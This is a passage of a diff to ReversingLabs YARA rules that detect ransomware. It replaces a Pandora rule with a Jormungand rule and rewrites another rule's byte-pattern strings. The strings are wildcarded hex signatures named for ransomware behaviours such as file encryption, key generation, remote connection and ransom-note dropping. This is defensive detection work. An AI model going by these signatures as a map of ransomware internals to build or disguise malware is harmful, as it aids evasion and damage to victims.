-            83 C4 ?? 3B F3 74 ?? 68 ?? ?? ?? ?? 8D 46 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B C6
-            EB ?? 33 C0 A3 ?? ?? ?? ?? 8D 4C 24 ?? 51 8B F8 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84
-            24 ?? ?? ?? ?? 33 D2 53 89 9C 24 ?? ?? ?? ?? 50 66 89 94 24 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 33 C9 53 52 66 89 8C 24 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 33 C0 53 51 66 89 84 24
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 33 D2 53 50 66 89 54
-            24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 33 C9 53 52 66 89
-            8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 47 ?? 83 C4 ?? 50 89 5C 24 ?? 89 44 24 ?? E8 ??
-            ?? ?? ?? 53 53 8D 84 24 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 EC ?? 8B
+		$enum_resources_1_p3 = {
+            C2 ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 A1 ??
+            ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? F6 C2 ?? 74 ?? 8D
+            4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66
+            89 41 ?? 84 D2 79 ?? 8D 4C 24 ?? 49 0F 1F 40 ?? 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ??
+            ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 66
+            89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ??
+            ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41
+            ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ??
+            ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 66
+            89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D
+            49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41
+            ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ??
+            ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? F7 C2 ?? ?? ?? ?? 74
         }
-		$encrypt_files_p2 = {
-            F4 33 C9 8D 84 24 ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? 89 5E ?? 89 64 24 ?? 66 89 4E ??
-            8D 50 ?? 90 66 8B 08 83 C0 ?? 66 3B CB 75 ?? 2B C2 D1 F8 50 8D 84 24 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 53 6A ?? 8D 94 24 ?? ?? ?? ?? 52 53 FF 15 ?? ?? ?? ??
-            85 C0 74 ?? 83 EC ?? 8B F4 33 C0 C7 46 ?? ?? ?? ?? ?? 89 5E ?? 66 89 46 ?? 8D 84 24
-            ?? ?? ?? ?? 89 64 24 ?? 8D 50 ?? EB ?? 8D 49 ?? 66 8B 08 83 C0 ?? 66 3B CB 75 ?? 2B
-            C2 D1 F8 50 8D 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 53 6A ?? 8D 8C 24
-            ?? ?? ?? ?? 51 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 EC ?? 8B F4 33 D2 C7 46 ?? ?? ??
-            ?? ?? 89 5E ?? 8D 84 24 ?? ?? ?? ?? 66 89 56 ?? 89 64 24 ?? 8D 50 ?? EB ?? 8D 49 ??
-            66 8B 08 83 C0 ?? 66 3B CB 75 ?? 2B C2 D1 F8 50 8D 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            57 E8 ?? ?? ?? ?? 53 6A ?? 8D 44 24 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ??
-            ?? ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 EC ?? 8B F4 33 D2 C7 46 ?? ??
-            ?? ?? ?? 89 5E ?? 8D 44 24 ?? 66 89 56 ?? 89 64 24 ?? 8D 50 ?? 8D A4 24 ?? ?? ?? ??
-            66 8B 08 83 C0 ?? 66 3B CB 75 ?? 2B C2 D1 F8 50 8D 44 24 ?? E8 ?? ?? ?? ?? 57 E8 ??
-            ?? ?? ?? 53 6A ?? 8D 84 24 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ??
-            ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 EC ?? 8B F4 33 D2 C7
+		$enum_resources_2_p1 = {
+            8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 A1 ?? ?? ??
+            ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2 ?? ?? ?? ??
+            74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 A1 ?? ?? ??
+            ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ??
+            8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2 ?? ??
+            ?? ?? 74 ?? 8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01
+            66 A1 ?? ?? ?? ?? 66 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C
+            24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89
+            41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ??
+            ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A
+            41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2
+            ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01
+            A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? F7 C2 ?? ??
+            ?? ?? 74 ?? 8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89
         }
-		$encrypt_files_p3 = {
-            46 ?? ?? ?? ?? ?? 89 5E ?? 8D 84 24 ?? ?? ?? ?? 66 89 56 ?? 89 64 24 ?? 8D 50 ?? 90
-            66 8B 08 83 C0 ?? 66 3B CB 75 ?? 2B C2 D1 F8 50 8D 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            57 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 8D 44 24 ?? 50 53 6A ?? 53 53 53 68 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 89 5C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4C 24 ?? 51 FF 15 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B F8 53
-            57 E8 ?? ?? ?? ?? 8B 74 24 ?? 83 C4 ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8D 54
-            24 ?? 52 57 8B CE E8 ?? ?? ?? ?? 8B 74 24 ?? E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4
-            ?? 8D 74 24 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 50 E8 ??
-            ?? ?? ?? 83 C4 ?? 8B 8C 24 ?? ?? ?? ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 8C 24 ??
-            ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3
+		$enum_resources_2_p2 = {
+            01 A1 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D
+            4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66
+            89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ??
+            ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49
+            8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? F7
+            C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89
+            01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? 85 D2 79
+            ?? 8D 4C 24 ?? 49 66 0F 1F 44 00 ?? 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89
+            01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A0 ?? ??
+            ?? ?? 88 41 ?? F7 C2 ?? ?? ?? ?? 74 ?? 8D 4C 24 ?? 49 66 90 8A 41 ?? 8D 49 ?? 84 C0
+            75 ?? A1 ?? ?? ?? ?? 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? 8D 4C 24 ?? 8D 51 ?? 8A 01
+            41 84 C0 75 ?? 2B CA 56 88 44 0C ?? FF D7 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 8D
         }
-		$generate_key = {
-            50 C7 44 24 ?? ?? ?? ?? ?? F3 A5 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5D B8 ?? ?? ??
-            ?? 5B 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C2 ?? ?? 8B 44 24 ?? 8D 4C 24 ?? 51
-            6A ?? 6A ?? 6A ?? 8D 54 24 ?? 52 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5D B8 ?? ??
-            ?? ?? 5B 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C2 ?? ?? 8B 54 24 ?? 6A ?? 8D 4C
-            24 ?? 51 6A ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5D B8 ?? ?? ?? ?? 5B 8B 4C 24
-            ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C2 ?? ?? 8B 54 24 ?? 6A ?? 8D 44 24 ?? 50 8D 4C 24
-            ?? 51 6A ?? 52 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5D B8 ??
-            ?? ?? ?? 5B 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C2 ?? ?? 8B 44 24 ?? C1 E8 ??
-            89 44 24 ?? 03 C3 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 5F 5E 5D B8 ?? ?? ??
-            ?? 5B 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C2 ?? ?? 53 55 56 E8 ?? ?? ?? ?? 8B
-            4C 24 ?? 83 C4 ?? 89 5C 24 ?? 83 C3 ?? 53 8D 44 24 ?? 50 56 6A ?? 6A ?? 6A ?? 51 FF
-            15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5D B8 ?? ?? ?? ?? 5B 8B 4C 24 ?? 33 CC E8 ?? ?? ??
-            ?? 83 C4 ?? C2 ?? ?? 8B 7C 24 ?? 8B 54 24 ?? 57 56 52 E8 ?? ?? ?? ?? 8B 44 24 ?? 56
-            89 38 E8 ?? ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 5F 5E 5D 5B 33 CC 33 C0 E8 ?? ?? ?? ?? 83
-            C4 ?? C2
+		$enum_resources_2_p3 = {
+            84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 74 24 ?? FF D7 8B BC 2C ?? ?? ?? ?? 33 D2
+            8B CF 8D 71 ?? 8A 01 41 84 C0 75 ?? 2B CE 8D 43 ?? 03 C1 74 ?? 8B 6C 24 ?? 8B DF 8B
+            CB 42 8D 71 ?? 0F 1F 00 8A 01 41 84 C0 75 ?? 2B CE 8D 45 ?? 03 C1 3B D0 72 ?? 8B 6C
+            24 ?? 8B 5C 24 ?? 8B CF 33 D2 8D 71 ?? 8A 01 41 84 C0 75 ?? 2B CE 8D 43 ?? 03 C1 74
+            ?? 8B 9C 2C ?? ?? ?? ?? 8B 6C 24 ?? 0F 1F 40 ?? 8B CB 42 8D 71 ?? 8A 01 41 84 C0 75
+            ?? 2B CE 8D 45 ?? 03 C1 3B D0 72 ?? 8B 6C 24 ?? 8B 5C 24 ?? 33 D2 8D 4F ?? 8A 07 47
+            84 C0 75 ?? 2B F9 8D 43 ?? 03 C7 74 ?? 8B BC 2C ?? ?? ?? ?? 0F 1F 40 ?? 8B C7 42 8D
+            70 ?? 8A 08 40 84 C9 75 ?? 2B C6 40 03 C3 3B D0 72 ?? 8B 3D ?? ?? ?? ?? 8B 74 24 ??
+            83 EE ?? 89 74 24 ?? 0F 85 ?? ?? ?? ?? 8B 6C 24 ?? 8B F5 C1 E6 ?? 8B 84 34 ?? ?? ??
+            ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? FF 24 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 94 34 ?? ?? ?? ?? 66 83 3A ?? 75 ?? 33 C9 EB ?? 8B CA
         }
-		$remote_connection = {
-            81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 57 8D 44 24 ?? 50 68 ??
-            ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 89 46 ?? 83
-            F8 ?? 74 ?? 8B 46 ?? 8D 7E ?? 83 E8 ?? 83 78 ?? ?? 7E ?? 8B 48 ?? 51 8B CF E8 ?? ??
-            ?? ?? 8B 3F 57 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 54 24 ?? 52 89 44 24 ?? FF 15 ?? ??
-            ?? ?? 85 C0 75 ?? 8B 46 ?? 50 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C0 5F 8B 8C 24
-            ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 8B 48 ?? 8B 11 8B 02 0F B7 56
-            ?? B9 ?? ?? ?? ?? 52 89 44 24 ?? 66 89 4C 24 ?? FF 15 ?? ?? ?? ?? 8B 4E ?? 66 89 44
-            24 ?? 6A ?? 8D 44 24 ?? 50 51 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? FF 15 ?? ?? ?? ?? 8B
-            56 ?? 52 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C0 5F 8B 8C 24 ?? ?? ?? ?? 33 CC E8
-            ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 8B 8C 24 ?? ?? ?? ?? 5F 33 CC B8 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 81 C4 ?? ?? ?? ?? C3
+		$enum_resources_2_p4 = {
+            8D 79 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CF D1 F9 51 52 8D 4C 24 ?? E8 ?? ?? ??
+            ?? 8D 44 24 ?? B9 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 94 34 ?? ?? ?? ??
+            66 83 3A ?? 75 ?? 33 C9 EB ?? 8B CA 8D 79 ?? 0F 1F 44 00 ?? 66 8B 01 83 C1 ?? 66 85
+            C0 75 ?? EB ?? 8B 94 34 ?? ?? ?? ?? 66 83 3A ?? 75 ?? 33 C9 EB ?? 8B CA 8D 79 ?? 66
+            8B 01 83 C1 ?? 66 85 C0 75 ?? EB ?? 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? EB ?? 68 ??
+            ?? ?? ?? EB ?? 68 ?? ?? ?? ?? EB ?? 8B 94 34 ?? ?? ?? ?? 66 83 3A ?? 75 ?? 33 C9 E9
+            ?? ?? ?? ?? 8B CA 8D 79 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? E9 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? F6 84 34 ?? ?? ?? ?? ?? 74 ?? 8D
+            8C 24 ?? ?? ?? ?? 8D 53 ?? 03 CE E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 45 89 6C 24 ?? 3B
+            6C 24 ?? 0F 82 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 33 F6 8B 44 24 ?? 83 F8 ??
+            72 ?? 8B 4C 24 ?? 40 3D ?? ?? ?? ?? 77 ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 75 ??
+            8B 41 ?? 3B C1 73 ?? 2B C8 83 F9 ?? 72 ?? 83 F9 ?? 77 ?? 8B C8 51 E8 ?? ?? ?? ?? 83
+            C4 ?? 5F 8B C6 5E 5D 5B 81 C4 ?? ?? ?? ?? C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($enum_shares) and ( all of ($find_files_p*)) and ($generate_key) and ( all of ($encrypt_files_p*)) and ($remote_connection)
+		uint16(0)==0x5A4D and ( all of ($encrypt_files_p*)) and ($find_files) and ( all of ($enum_resources_1_p*)) and ( all of ($enum_resources_2_p*))
 }
-rule REVERSINGLABS_Win64_Ransomware_Pandora : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Jormungand : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Pandora ransomware."
+		description = "Yara rule that detects Jormungand ransomware."
 		author = "ReversingLabs"
-		id = "18182bbe-1678-5d0b-a7ee-80c4bbaee99e"
-		date = "2022-06-01"
-		modified = "2022-06-01"
+		id = "418c3d9f-2338-593f-a8ec-a1e25afa50d4"
+		date = "2021-10-22"
+		modified = "2021-10-22"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win64.Ransomware.Pandora.yara#L1-L95"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "6576bde36ae9a9bc2e9dd878db788c608083b84d96d31e6898f48a264c6b7f1a"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Jormungand.yara#L1-L135"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "049eb4533b37d8d72e50dd1e803a897758386643770d47b3e7690f58e44d5236"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -35986,187 +37479,122 @@ rule REVERSINGLABS_Win64_Ransomware_Pandora : TC_DETECTION MALICIOUS MALWARE FIL
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Pandora"
+		tc_detection_name = "Jormungand"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files_p1 = {
-            41 57 41 56 41 55 41 54 56 57 55 53 48 83 EC ?? 48 89 4C 24 ?? C7 44 24 ?? ?? ?? ??
-            ?? 45 31 F6 41 BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ??
-            ?? 48 89 4C 24 ?? 45 31 C0 41 81 FA ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 0F
-            4C CA 41 0F 94 C0 48 8B 8C 08 ?? ?? ?? ?? 48 01 F1 31 D2 31 DB 41 81 FA ?? ?? ?? ??
-            0F 9C C2 0F 95 C3 41 BD ?? ?? ?? ?? 49 29 D5 41 81 FA ?? ?? ?? ?? BF ?? ?? ?? ?? BA
-            ?? ?? ?? ?? 48 0F 4C FA 4C 8D 4C 9B ?? 41 BB ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 0F 44 DA
-            49 83 C8 ?? 31 DB 31 D2 41 81 FA ?? ?? ?? ?? 0F 9C C3 4C 8D 64 1B ?? 0F 94 C2 48 83
-            F2 ?? 31 DB 41 81 FA ?? ?? ?? ?? 0F 94 C3 48 8D 1C DB 48 83 C3 ?? EB ?? 0F 1F 40 ??
-            4A 8B AC C0 ?? ?? ?? ?? 48 01 F5 FF E5 FF E1 4A 8B AC E0 ?? ?? ?? ?? 48 01 F5 FF E5
-            48 8B AC D8 ?? ?? ?? ?? 48 01 F5 FF E5 0F 1F 80 ?? ?? ?? ?? 48 8B AC F8 ?? ?? ?? ??
-            48 01 F5 FF E5 4A 8B AC E8 ?? ?? ?? ?? 48 01 F5 FF E5 4A 8B AC D8 ?? ?? ?? ?? 48 01
+		$drop_ransom_note = {
+            64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 8D 44 24 ?? 3B 41 ?? 0F 86 ?? ?? ?? ?? 81 EC
+            ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 89 04 24 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ??
+            ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89
+            84 24 ?? ?? ?? ?? 8B 4C 24 ?? 89 4C 24 ?? 8D 54 24 ?? 89 14 24 8B 94 24 ?? ?? ?? ??
+            89 54 24 ?? 8B 94 24 ?? ?? ?? ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ??
+            8B 54 24 ?? 8B 9C 24 ?? ?? ?? ?? 89 1C 24 8B 9C 24 ?? ?? ?? ?? 89 5C 24 ?? 89 44 24
+            ?? 89 4C 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 84 24 ?? ?? ?? ?? 8B 4C 24
+            ?? 89 4C 24 ?? 8B 54 24 ?? 89 54 24 ?? C7 04 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? 89
+            5C 24 ?? 8B 9C 24 ?? ?? ?? ?? 89 5C 24 ?? 8D 1D ?? ?? ?? ?? 89 5C 24 ?? C7 44 24 ??
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 04 24 89 4C 24 ?? C7 44 24 ??
+            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 84 24 ?? ?? ?? ??
+            8D 4C 24 ?? 89 0C 24 8B 8C 24 ?? ?? ?? ?? 89 4C 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8B 4C
+            24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 44 24 ?? 89 4C 24 ?? 8D
+            44 24 ?? 89 04 24 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? E8 ?? ??
+            ?? ?? 8B 44 24 ?? 8B 4C 24 ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? 89 4C 24 ?? E8 ?? ??
+            ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 9C 24 ?? ?? ?? ?? 89 1C 24 89 44 24 ??
+            89 4C 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ??
+            81 C4 ?? ?? ?? ?? C3 E8
         }
-		$find_files_p2 = {
-            F5 FF E5 66 0F 1F 84 00 ?? ?? 00 00 48 8B AC D0 ?? ?? ?? ?? 48 01 F5 FF E5 4A 8B AC
-            C8 ?? ?? ?? ?? 48 01 F5 FF E5 44 89 74 24 ?? 48 63 4C 24 ?? 48 8B 54 24 ?? 48 8B 8C
-            CA ?? ?? ?? ?? 48 89 4C 24 ?? 48 8B 4C 24 ?? 8B 54 24 ?? BD ?? ?? ?? ?? 01 EA 44 8B
-            54 24 ?? BD ?? ?? ?? ?? 41 01 EA 66 83 39 ?? 44 0F 45 D2 E9 ?? ?? ?? ?? 45 31 FF EB
-            ?? 66 2E 0F 1F 84 00 ?? ?? 00 00 90 41 BF ?? ?? ?? ?? 44 8B 54 24 ?? 41 81 C2 ?? ??
-            ?? ?? E9 ?? ?? ?? ?? 66 0F 1F 84 00 ?? ?? 00 00 44 8B 74 24 ?? 41 83 C6 ?? 48 8B 54
-            24 ?? 48 8B 05 ?? ?? ?? ?? 48 8B 80 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 01 C8 48 8B 4C 24
-            ?? FF D0 8B 4C 24 ?? BA ?? ?? ?? ?? 01 D1 44 8B 54 24 ?? BA ?? ?? ?? ?? 41 01 D2 85
-            C0 44 0F 44 D1 E9 ?? ?? ?? ?? 44 89 F8 48 83 C4 ?? 5B 5D 5F 5E 41 5C 41 5D 41 5E 41
-            5F C3
-        }
-		$generate_key = {
-            41 57 41 56 41 55 41 54 56 57 55 53 48 81 EC ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48
-            8D B4 24 ?? ?? ?? ?? 48 89 74 24 ?? 48 8B 44 24 ?? 48 8B 05 ?? ?? ?? ?? 48 C7 C5 ??
-            ?? ?? ?? 48 8B 80 ?? ?? ?? ?? 48 01 E8 41 BC ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 4C 01
-            E1 BA ?? ?? ?? ?? 48 03 15 ?? ?? ?? ?? FF D0 48 8B 05 ?? ?? ?? ?? 48 8B 4C 24 ?? 0F
-            B7 90 ?? ?? ?? ?? 66 89 51 ?? 48 8B 80 ?? ?? ?? ?? 48 89 01 48 8B 05 ?? ?? ?? ?? 48
-            8B 80 ?? ?? ?? ?? 48 01 E8 48 8B 0D ?? ?? ?? ?? 4C 01 E1 FF D0 48 8B 05 ?? ?? ?? ??
-            48 8B 80 ?? ?? ?? ?? 48 01 E8 48 8B 0D ?? ?? ?? ?? 4C 01 E1 FF D0 48 8B 05 ?? ?? ??
-            ?? 48 8B 80 ?? ?? ?? ?? 48 01 E8 48 89 F1 FF D0 48 98 4C 8B 05 ?? ?? ?? ?? 4D 01 E0
-            48 8B 0D ?? ?? ?? ?? 48 8B 99 ?? ?? ?? ?? 48 01 EB 48 8B 0D ?? ?? ?? ?? 4C 01 E1 48
-            89 44 24 ?? 48 8D 15 ?? ?? ?? ?? 49 89 F1 FF D3 89 84 24 ?? ?? ?? ?? B9 ?? ?? ?? ??
-            45 31 ED 41 BE ?? ?? ?? ?? 41 BF ?? ?? ?? ?? BB ?? ?? ?? ?? EB ?? 81 F9 ?? ?? ?? ??
-            BA ?? ?? ?? ?? BF ?? ?? ?? ?? 48 0F 44 D7 48 8B 04 10 4C 01 F0 FF E0
